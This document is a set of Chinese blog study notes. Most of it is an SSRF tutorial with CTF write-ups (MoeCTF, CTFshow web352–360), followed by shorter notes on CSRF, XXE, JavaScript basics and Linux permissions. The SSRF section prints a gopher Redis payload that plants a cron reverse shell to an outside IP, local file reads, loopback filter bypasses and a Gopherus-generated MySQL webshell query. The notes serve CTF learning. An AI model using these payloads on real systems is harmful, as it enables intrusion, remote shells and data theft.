0%

[TOC]

SSRF(Server-Side Request Forgery)概述

SSRF(Server-Side Request Forgery:服务器端请求伪造),字面意思来理解就是:攻击者通过一些手段来达到伪装了一个由服务端对服务器所在内网发起的恶意请求。

也因此,一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

形成原理及危害

大多是因为服务端提供了可以从其他服务器获取数据的功能,但没有加以过滤和限制,导致了攻击者可以轻易的任意读取文件,进行内网渗透,对内网Web应用进行攻击等恶意操作。

攻击者可以利用 SSRF 实现的攻击主要有 5 种:

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  5. 利用 file 协议读取本地文件等

利用方式

PHP中一些关键函数

file_get_contents() // 将整个文件读入一个字符串

file_get_contents(path,include_path,context,start,max_length)

参数 说明
$filename 文件路径或 URL(启用 allow_url_fopen 时)
$use_include_path 是否在 include_path 中查找文件
$context stream_context 上下文,适用于 HTTP 配置、超时等
$offset 从文件的第几字节开始读取
$length 最多读取多少字节内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
curl_exec() // 

mixed curl_exec ( resource $ch )

//示例用法
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "https://example.com");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

if ($response === false) {
echo "错误:" . curl_error($ch);
} else {
echo "响应:" . $response;
}

curl_close($ch);

参数 类型 说明
$ch resource 使用 curl_init() 初始化后的 cURL 会话句柄
1
2
3
4
5
6
7
8
9
10
11
fsockopen() // 打开 Internet 或者 Unix 套接字 链接

resource|false fsockopen(
string $hostname,
int $port,
int &$error_code = null,
string &$error_message = null,
float $timeout = ini_get("default_socket_timeout")
)
例:$fp = fsockopen("www.example.com", 80, $errno, $errstr, 5);

参数 类型 说明
$hostname string 主机名或 IP 地址。支持协议前缀如 ssl://tls://
$port int 端口号
$error_code int 引用 若连接失败,此变量将存储错误代码
$error_message string 引用 若连接失败,此变量将存储错误信息
$timeout float 连接超时时间,单位为秒

伪协议

file://(访问本地文件)

1
file:///etc/password  # file:// 之后可以接任意文件

dict://(查询字典服务)

dict://ip/info可获取本地redis服务配置信息。

可以用来测试和写入webshell。

ftp://(访问远程文件资源)

data://(嵌入数据)

例如直接嵌套一个Base64加密的照片:

1
<img src="data:image/png;base64,0KGgoAAAAFGUIknuNSUhEUg...YGGjnm=">

gopher://

常用于反弹shell

Parse_url函数

这里单独提一下Parse_url这个函数,用于拆分url的各个部分为一个类似字典的东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------------------------------------------------------------------------------------------------
Array
(
[scheme] => http
[host] => hostname //@后
[user] => username //@前
[pass] => password //@前
[path] => /path /
[query] => arg=value ?以后的key=value
[fragment] => anchor #以后的部分
)
/path

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$url = 'http://ctf.@127.0.0.1/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>

//运行结果:
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "127.0.0.1"
["user"]=>
string(4) "ctf."
["path"]=>
string(9) "/flag.php"
["query"]=>
string(4) "show"
}

常用Payload

以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:

1
2
3
4
5
6
7
curl -vvv 'dict://127.0.0.1:6379/info'

curl -vvv 'file:///etc/passwd'

# * 注意: 链接使用单引号,避免$变量问题

curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0

经过url解码便是:

1
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit

题目回顾

回顾一下MoeCTF2024中的两道SSRF题目吧:

ImageCloud前置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$url = $_GET['url'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$res = curl_exec($ch);

$image_info = getimagesizefromstring($res);
$mime_type = $image_info['mime'];

header('Content-Type: ' . $mime_type);

curl_close($ch);

echo $res;
?>

当时并不能看懂,现在就能有些认知了。看到curl_execcurl_init之类很明显的SSRF特征。

题目提示flag在/etc/passwd里,于是我们直接利用file伪协议读取flag文件即可:
payload: file:///etc/passwd

ImageCloud

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename

app = Flask(__name__)

UPLOAD_FOLDER = 'static/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
return '''
<h1>图片上传</h1>
<form method="post" enctype="multipart/form-data" action="/upload">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
<h2>已上传的图片</h2>
<ul>
''' + ''.join(
f'<li><a href="/image?url=http://localhost:5000/static/{filename}">{filename}</a></li>'
for filename in uploaded_files
) + '''
</ul>
'''

@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return '未找到文件部分', 400
file = request.files['file']

if file.filename == '':
return '未选择文件', 400
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
ext = filename.rsplit('.', 1)[1].lower()

unique_filename = f"{len(uploaded_files)}_{filename}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

file.save(filepath)
uploaded_files.append(unique_filename)

return redirect(url_for('index'))
else:
return '文件类型不支持', 400

@app.route('/image', methods=['GET'])
def load_image():
url = request.args.get('url')
if not url:
return 'URL 参数缺失', 400

try:
response = requests.get(url)
response.raise_for_status()
img = Image.open(BytesIO(response.content))

img_io = BytesIO()
img.save(img_io, img.format)
img_io.seek(0)
return send_file(img_io, mimetype=img.get_format_mimetype())
except Exception as e:
return f"无法加载图片: {str(e)}", 400

if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.run(host='0.0.0.0', port=5000)

app2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename
import socket
import random

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def get_mimetype(file_path):
mime = mimetypes.guess_type(file_path)[0]
if mime is None:
try:
with Image.open(file_path) as img:
mime = img.get_format_mimetype()
except Exception:
mime = 'application/octet-stream'
return mime

def find_free_port_in_range(start_port, end_port):
while True:
port = random.randint(start_port, end_port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', port))
s.close()
return port

@app.route('/')
def index():
return '''
<h1>图片上传</h1>
<form method="post" enctype="multipart/form-data" action="/upload">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
<h2>已上传的图片</h2>
<ul>
''' + ''.join(f'<li><a href="/image/{filename}">{filename}</a></li>' for filename in uploaded_files) + '''
</ul>
'''

@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return '未找到文件部分', 400
file = request.files['file']

if file.filename == '':
return '未选择文件', 400
if file and allowed_file(file.filename):

filename = secure_filename(file.filename)
ext = filename.rsplit('.', 1)[1].lower()

unique_filename = f"{len(uploaded_files)}_{filename}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

file.save(filepath)
uploaded_files.append(unique_filename)

return redirect(url_for('index'))
else:
return '文件类型不支持', 400

@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(filepath):
mime = get_mimetype(filepath)
return send_file(filepath, mimetype=mime)
else:
return '文件未找到', 404

if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
port = find_free_port_in_range(5001, 6000)
app.run(host='0.0.0.0', port=port)

附件可知,flag一图片形式被存储在内网的uploads文件夹下面,并通过image目录访问,外部服务开放指定端口5000,内部服务则开放在5001-6000的随机端口,

这里画了张图用来理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
+---------------------------+
| 你访问的网站 |
| http://...:5000 |
+------------+-------------+
|
v 你传入 SSRF URL
/image?url=http://localhost:PORT/image/flag.jpg
|
v
+------------+-------------+
| 外部 Flask 服务 (5000端口)|
+------------+-------------+
|
v 发起请求
http://localhost:PORT/image/flag.jpg
|
v
+---------------------------+
| 内部 Flask 服务(随机端口)|
| 可能在 5001~6000 之间 |
| 提供 /image/flag.jpg 接口 |
+---------------------------+

因此需要抓包爆破,

image-20250416011910810

成功爆出图片,截图OCR并修改即可。

CTFshow刷题

web352

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

相比于上题,waf了本地回环地址,尝试用其他进制的IP绕过即可。

但实际上,这里源码是写错了,没有传参匹配导致恒为真,所以没有任何限制。

image-20250416002956517

web353

正则如下:

1
/localhost|127\.0\.|\。/i

多过滤了还是用上题的思路即可。

这题有多种绕过思路,网上都总结了很多,这里随便贴一份相对全的:

1
2
3
4
5
6
7
8
9
10
进制绕过 		url=http://0x7F000001/flag.php
0.0.0.0绕过 url=http://0.0.0.0/flag.php
特殊的地址0url=http://0/flag.php

//第一个 0 在linux系统中一般会解析成127.0.0.1 ,在windows 和 macos 中一般解析成0.0.0.0

还有 url=http://127.1/flag.php //可省略0
还有 url=http://127.0000000000000.001/flag.php
特殊字符 url=http://①②⑦.⓪.⓪.①/flag.php
用中文句号绕过 url=http://127。0。0。1/

web354 公共解析域名绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

过滤了0和1就有些难搞了,不过这里可以去网上搜索一些公共的能够域名解析到127.0.0.1的url。

image-20250416080803299

1
2
3
4
5
6
7
http://safe.taobao.com/
http://114.taobao.com/
http://wifi.aliyun.com/
http://imis.qq.com/
http://localhost.sec.qq.com/
http://ecd.tencent.com/
http://sudo.cc/

直接用就好了。

更多的可以通过域名解析结果反向查找:127.0.0.1上的网站 127.0.0.1同iP域名查询 127.0.0.1域名反查

web355 长度限制1

1
if ((strlen($host) <= 5))

增加了长度限制,用url=http://0/flag.phpurl=http://127.1/flag.php都可以。

web356 长度限制2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

url=http://0/flag.php仍然可用。

web357 内网IP过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

经过了一些过滤,我们去查查这些都是什么:

filter_var() 函数

image-20250416083848457

相关过滤器

FILTER_VALIDATE_IP 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围。

image-20250416084453141

所以可知,要求ip不在 RFC 指定的私有范围IP内(比如 192.168.0.1),也不在保留的IP范围内。

类型 范围 为什么被限制?
私有地址 10., 172.16-31., 192.168. 内网地址,不能让用户探测
保留地址 127., 169.254., 224., 240., 255. 有特殊含义/不允许外部通信

以下两种方法实操可见最下方的bypass总结中。

method1 公网挂马

Quicker_20250416_091903

method2 DNS重绑定

常用工具rbndr.us dns rebinding service

构造恰当的URL,例如用google,baidu这些官网的dns解析ip来进行交替(ping 可以查看),可以看到DNS解析在不断变换:

image-20250416102926004

没成功的话,多刷新几次。

image-20250416105222070

web358 @绕过

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

需要匹配正则表达,满足http://ctf.开头,show结尾,而且能解析。

构造如下:

http://ctf.@127.0.0.1/flag.php?show

利用参数查询?,或者锚点#绕过show

在Parse_url函数中我们提到过,该函数会把@前后分段开,分为:

1
2
3
[host] => hostname			//@后
[user] => username //@前
[pass] => password //@前

于是它实际解析的仍然是指向127.0.0.1的。

image-20250416112945370

web359 Gopher打无密码的mysql

进来一个登录框,抓包发现有一个returl参数,

需要下载一个生成gopher协议的payload工具:https://github.com/tarunkant/Gopherus

usage:python2 gopherus.py --exploit mysql

用户为root,query为 select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';

并且将生成的payload再次进行url编码,因为解析时会解密一层。

替换到returl参数的值后发包,然后蚁剑连接即可。

image-20250416193201139

web360 Gopher协议打redis

hint:打redis

同上题一样,换个payload,usage:python2 gopherus.py --exploit redis

操作一样,最后

image-20250416194828764

刷题之后的bypass总结

字符绕过

1
2
3
4
5
6
7
8
9
10
进制绕过 		url=http://0x7F000001/flag.php
0.0.0.0绕过 url=http://0.0.0.0/flag.php
特殊的地址0url=http://0/flag.php

//第一个 0 在linux系统中一般会解析成127.0.0.1 ,在windows 和 macos 中一般解析成0.0.0.0

还有 url=http://127.1/flag.php //可省略0
还有 url=http://127.0000000000000.001/flag.php
特殊字符 url=http://①②⑦.⓪.⓪.①/flag.php
用中文句号绕过 url=http://127。0。0。1/

公网挂马

打重定向

1
2
3
<?php 
header("Location: http://127.0.0.1/flag.php");
?>

这段 PHP 脚本的作用是:

  • 当某个目标服务器访问你的公网服务时,比如:

    1
    http://your-public-ip:port/malicious.php
  • 它会返回一个 HTTP 重定向:

    1
    2
    HTTP/1.1 302 Found
    Location: http://127.0.0.1/flag.php
  • 于是,如果目标服务器自动跟随重定向,它会**转头请求自己的 127.0.0.1/flag.php**。

DNS重绑定

参考:01.DNS重绑定 · d4m1ts 知识库

常用工具rbndr.us dns rebinding service

指攻击者通过DNS服务器将域名解析到恶意IP地址,然后再将其解析到合法IP地址,从而绕过后端的安全检查。其本质就是欺骗客户端请求的IP地址。

看网上的文章感觉不是很形象,但GPT的讲解很通透,我在这里贴一下:

💡 实战场景举个例子

设想有一个网站:

1
GET /fetch?url=http://example.com

它会请求你传的 url,但有如下限制:

  • ❌ 禁止 IP 是 127.0.0.1
  • ✅ 允许你填入域名,例如 evil.rbndr.us

你设置 evil.rbndr.us 这个域名:

  • 第一次解析:指向你的服务器(公网 IP)
  • **第二次解析:变成 127.0.0.1169.254.169.254**!

于是 SSRF 访问你的域名 → 其实打到了 目标的内网服务

🧠 详细过程

  1. SSRF 发请求:http://evil.rbndr.us
  2. DNS 解析 evil.rbndr.us,第一次解析结果是你的公网 IP
  3. 目标服务请求了你服务器(你控制)
  4. 你服务器什么也不返回,挂着不处理
  5. 等 DNS 缓存过期后(几秒)
  6. 再次解析 evil.rbndr.us变成 127.0.0.1
  7. SSRF 继续跟随请求:访问 http://127.0.0.1

💥 成功 SSRF 打到了内网!

Gopherus使用

  1. 安装

    1
    git clone https://github.com/tarunkant/Gopherus.git
  2. payload支持:

    • MySQL 有效负载
    • FastCGI 有效负载
    • Memcached 有效负载
    • Redis 有效负载
    • Zabbix 有效载荷
    • SMTP 有效负载
  3. 以无密码mysql为例:

    usage:python2 gopherus.py --exploit mysql

    用户为root,query为 select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';

关于Gopher协议为什么后面要有一个_?

这里贴一下CTFSHOW-SSRF篇 - LinkPoc - 博客园这篇博客中的一张图片:
img

参考文章:

SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客

从0到1完全掌握 SSRF - FreeBuf网络安全行业门户

CSRF 与SSRF基础 及ctfshow 练习 - 折翼的小鸟先生 - 博客园

SSRF | Nanian233🍊’s Blog

SSRF漏洞深入利用与防御方案绕过技巧_ssrf绕过-CSDN博客

[TOC]

CSRF概述

Cross-site request forgery 简称为“CSRF”,中文名为跨站请求伪造。攻击者精心构造一个请求来诱导受害者点击,假如此时受害者刚好打开了相关网站,则有可能会导致执行了相关恶意操作。

攻击场景(某购物网站)

攻击者A尝试修改受害者B的账户邮箱地址,他发现该网站在修改邮箱时候发送的请求类似于http://xxx.com/edit.php?email=123@123.com&Change=Change,通过加以包装和诱导B进行点击,这便可能会使得B的邮箱被修改从而达到了A的目的。

CSRF攻击需要条件

  • 目标网站没有防CSRF的处理,导致了请求容易被伪造

    判断一个网站是否有CSRF漏洞,就要看他的增删改操作是否容易被伪造。

  • 受害者再点击恶意链接时,必须是在同一台设备处于已登录的状态

CSRF与XSS的区别

XSS攻击中,攻击者确确实实拿到了被害者的身份验证信息,即直接盗取了用户的权限。而CSRF攻击过程中,攻击者实际上并未切实拿到被害者权限,而是而是被害者自己“主动”发送的,颇有一种借刀杀人的感觉。

CSRF攻击过程示例

这里以Pikachu靶场的三道题目进行演示:

CSRF(GET)

随便登陆一个用户账号,修改信息时抓包查看,

1
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=hacker&email=kobe%40pikachu.com&submit=submit

发现并没有token之类的认证手段。将这段URL适当修改,然后登录另一个账户,点击点击刚刚构造好的URL来模拟该用户被攻击,发现该用户的信息被成功修改成了我们想要的情况。

image-20250413210824877

CSRF(POST)

发现修改信息被放在了POST请求体中,那么就无法像GET型一样直接构造恶意URL了。

但我们可以自己建一个网站,修改相关参数发送请求抓包后自己写一个html页面,诱导受害者进行点击等操作从而发送了恶意的POST请求修改了数据。

而BP中就有相关功能可以根据请求包直接生成可用的CSRF PoC:

image-20250414210324500

生成之后点击测试一下:

image-20250414210545681

点击提交按钮后发现信息被成功修改。

CSRF Token

抓包发现有token验证:

image-20250414210914121

查看源码即可发现,token发现Tokenmeici发送请求后会被和Session中的Token值进行比较,相同才会修改成功

image-20250414213540245

,并且在修改之后还会重新生成一个新的值放在html的隐藏标签中。

image-20250414213447382

只要生成的Token足够随机,就会在一定程度上防止了CSRF攻击。

防御措施

  1. 每次设置随机Token

  2. 二次验证

    例如:修改账号密码,需要判断旧密码。

  3. Referer监测

    检测跳转的站点是否符合规范。

这三种措施若同时使用基本可以杜绝CSRF攻击。

参考文章:

CSRF(Pikachu靶场练习) - machacha - 博客园

Pikachu漏洞练习平台实验——CSRF(三) - 那少年和狗 - 博客园

XML、XPath注入以及XXE

什么是XML

从XML相关一步一步到XXE漏洞-先知社区

XXE(XML External Entity Injection)全称为XML外部实体注入。想要了解XXE首先得了解XML。

XML与HTML的区别

  • XML被设计为传输和存储数据,其焦点是数据的内容。

  • HTML被设计用来显示数据,其焦点是数据的外观。

实体引用

和HTML一样,XML也具有实体引用,类似于转义特殊符号。XML 中有 5 个预定义的实体引用:

&lt; < 小于
&gt; > 大于
&amp; & 和号
&apos; 省略号
&quot; 引号

DNSLog Platform

XXE漏洞原理、检测与修复 - Mysticbinary - 博客园

javascript快速入门

[TOC]

前言

最近在看xss的DOM型,需要了解一些js基础,所以想快速过一遍语法部分。于是在B站上找了一门速成课来初步的过一遍,链接在文章末尾。下面正式开始。

less-0(简单语句)

1
2
3
4
5
6
7
8
9
10
// 输出语句
> console.log("Hello World!");
// Hello World!

// 数学运算
> 2 + 2
// 4

// 弹窗
> alert("yo");

less-1(html中的js)

新建一个html文件,!+Tab键即可生成默认html模板。通常在body标签末尾添加script标签并书写js代码,不然会先运行js再加载内容导致页面缓慢。

image-20250406135027673

如上图,在其中输入我们之前的输出语句,然后用live Server插件映射在本机端口之后用浏览器打开,摁下F12即可在控制台中看见结果。(如果你没有显示,可能是没有开启VScode中的自动保存,需要Ctrl+S即可,或者直接开启设置中的自动保存 一劳永逸

less-2(关注点分离)

当前我们的代码量少,所以可以直接把js代码插入html中,但之后代码量 多了之后就显得泰国臃肿了。一个好的做法是把html和js分离,一个只负责内容,另一个只负责行为。

在相同文件夹中新建index.js文件,

image-20250406140909265

将原来的script标签中的内容迁移过来,并在script标签中假如src属性指明要包含的js文件,可以达到相同的显示效果。

image-20250406142506885

less-3(用Node运行js)

Node是什么?

原来的js代码是在浏览器中通过js引擎运行,而Node则是把Chrome中的V8引擎和一个C++引擎结合起来的,因此你也可以在Node中运行js代码。所以说:Node是一个包含了Chrome的V8引擎的C++程序。

打开终端,输入node index.js,可以看到成功执行了代码。

image-20250406145543310

less-4(变量与常量)

1
// var, let, const var已被淘汰

其中let为变量,可以被修改,const不能被修改。其中const必须声明的同时赋值,否则会报错。

less-5(原生数据类型)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// string Number Boolean null undefined

// String
const username = "John";

// Number
const age = 30;

// 浮点型照样属于Number
const rate = 4.5;

// Boolean
const isCool = true;

// null
const x = null;

// undefined
const y = undefined;

// 同样是undefined
let z;

//如果你需要查看某个数据的类型,可以用typeof对此你可以一一尝试上面的变量

console.log(typeof a);
// Number

你可能会发现,在检验x变量的类型时它并没有返回预期的null,而是object

image-20250406152958661

但是事实上他就是null,这是一个历史遗留1问题,我们在此不再细究,如果感兴趣可自行查阅。

less-6(模板字符串)

1
2
3
4
const username = "John";
const age = 9;
//我们使用反引号代替引号,把需要替换的量用${}括起来即可。
console.log(`My name is ${username} and i'm ${age}.`);

image-20250406153944827

python中的格式化字符串和这个非常相像。

less-7(字符串的内置属性、方法)

1
2
3
4
5
6
const hw = "hello world";
console.log(hw.length); // 长度
console.log(hw.toUpperCase()); // 大写
console.log(hw.toLowerCase()); // 小写
console.log(hw.substring(0, 5)); // 子字符串
console.log(hw.split('')); //split方法和python中一样,给的参数为分割标记

image-20250406154806123

less-8(数组)

此部分和py基本没什么区别,只记录不同的:

*push()*方法:往末尾添加元素

*unshift()*方法:往前面添加元素

*pop()*方法:删除末尾一个元素

*Array.isArray()*方法:判断是否是数组

indexOf():得到特定元素索引(从1开始)

less-9(对象)

1
2
3
4
5
6
7
8
9
10
11
12
13
const person = {
firstName: "John",
lastName:"Doe",
age: 30,
hobbies: ["music", "movies", "sports"],
address: {
street: "50 main st",
city: "Boston",
state: "MA",
},
};

console.log(person.address.street);

image-20250406161230905

这里的对象不像py中的对象,更像py中的字典(

image-20250406161712362

如上图,js中的对象属性chouqv很是容易只需要根据结构在左边写出属性名,右边只需要对象名称即可。

甚至还能更深入:

image-20250406161935370

也可以直接添加新属性,直接写对象名.属性名 = xxx即可。

less-10(对象数组和json)

对象数组

可以理解为数组里面有多个对象。如下图:

image-20250406163942855

JSON

JSON是一种数据格式,和对象数组十分类似。那如何把对象数组转变为JSON呢?

我们使用JSON.stringify()把要转换的对象数组当作参数传入即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const todos = [
{
id: 1,
text: "Take out trash",
isCompleted: true
},
{
id: 2,
text: "Meeting with boss",
isCompleted: true
},
{
id: 3,
text: "Dentist appt",
isCompleted: false
}
];

todoJSON = JSON.stringify(todos);
console.log(todoJSON);

image-20250406165243261

可以看出和对象数组的唯一区别是每个key值dou多了一个引号,除此之外无任何变化。

less-11(if语句)

和php一样都有强相等和弱相等。== 表示值相同,类型可以不同, ===表示值和类型都相同。基本语法如下:

1
2
3
4
5
6
7
8
const x = 10;
if (x === 10){
console.log("x is 10");
}else if (x > 10){
console.log("x is greater than 10");
}else {
console.log("x is less than 10");
}

less-12(三目运算符)

和C无区别,这里贴一下图看一下即可:

1
2
3
4
console.log(person.address.street);
const color = 1 ? "red" : "blue";
console.log(color)
console.log(typeof color)

image-20250406170718419

color为string类型。

less-13(switch语句)

可以理解为单值匹配的if语句,

image-20250406172840622

less-13(for loop and while loop)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// for loop 
for (let i = 0; i <= 5; i++) {
console.log(i);
}

//for loop(python version)(误
is = [0, 1, 2, 3, 4, 5]
for (let i of is) {
console.log(i);
}

//while loop
let i = 0;
while (i <= 5) {
console.log(i);
i++;
}

和C中的语法是一致的。

结语

结束!用了一个下午,约4个小时的时间完成了对js语法的初步学习,算是正在对前端入门吧。

参考资料

四十分钟JavaScript快速入门 | 无废话且清晰流畅 | 手敲键盘 | WEB前端必备程序语言~_哔哩哔哩_bilibili

在进行61A的Ants project中的一个问题时,困扰了很久,最后在没有AI的帮助下,print大法之后(我是debug大神),终于意识到问题所在了!

05fac446d5770ba4d5699029eb798be

在这判断了一只蜜蜂之后就返回值了,没考虑后面的,哈哈哈。

Linux相关操作总结

我会在这里总结一些Linux操作上的一些常用但我不熟的操作,用来查阅和回忆。

grep全局搜索

可以用grep -r "关键字"来进行基于关键字的全局搜索相关行。我从2025数字中国创新大赛数字安全赛道|数据安全产业积分争夺赛初赛Writeup - 1cePeak这篇文章中学到的。同时可以和find命令结合使用提高效率,先根据文件名搜出所有文件,再进行筛选。例如:find -name / "*.html" | grep -r "张华强"

chmod权限管理

Linux文件权限

img

图源:【Linux学习小技巧】浅析linux权限管理-广州致远电子股份有限公司

使用ls -l即可查看文件的权限详情,最右边的d为directory(目录)。接下来每三个一组,分别是,文件创建者,创建者所在组,其他人员(管理员)的权限r->read w->write x->execute。接下来是用户名和组名。在/etc/passwd/etc/group目录下可以看到所有用户和用户组的权限。

权限管理

chmod命令可以来设置这些权限

img

u/g/o:即user/group/other

+/-:加减权限

另外还可以用数字来代替:

ipcjszt20190119-07

r、w、x对应为数字4、2、1,用数字之和代表该组权限值,比如rwx可用 7 表示。

IPv4的认识

IPv4

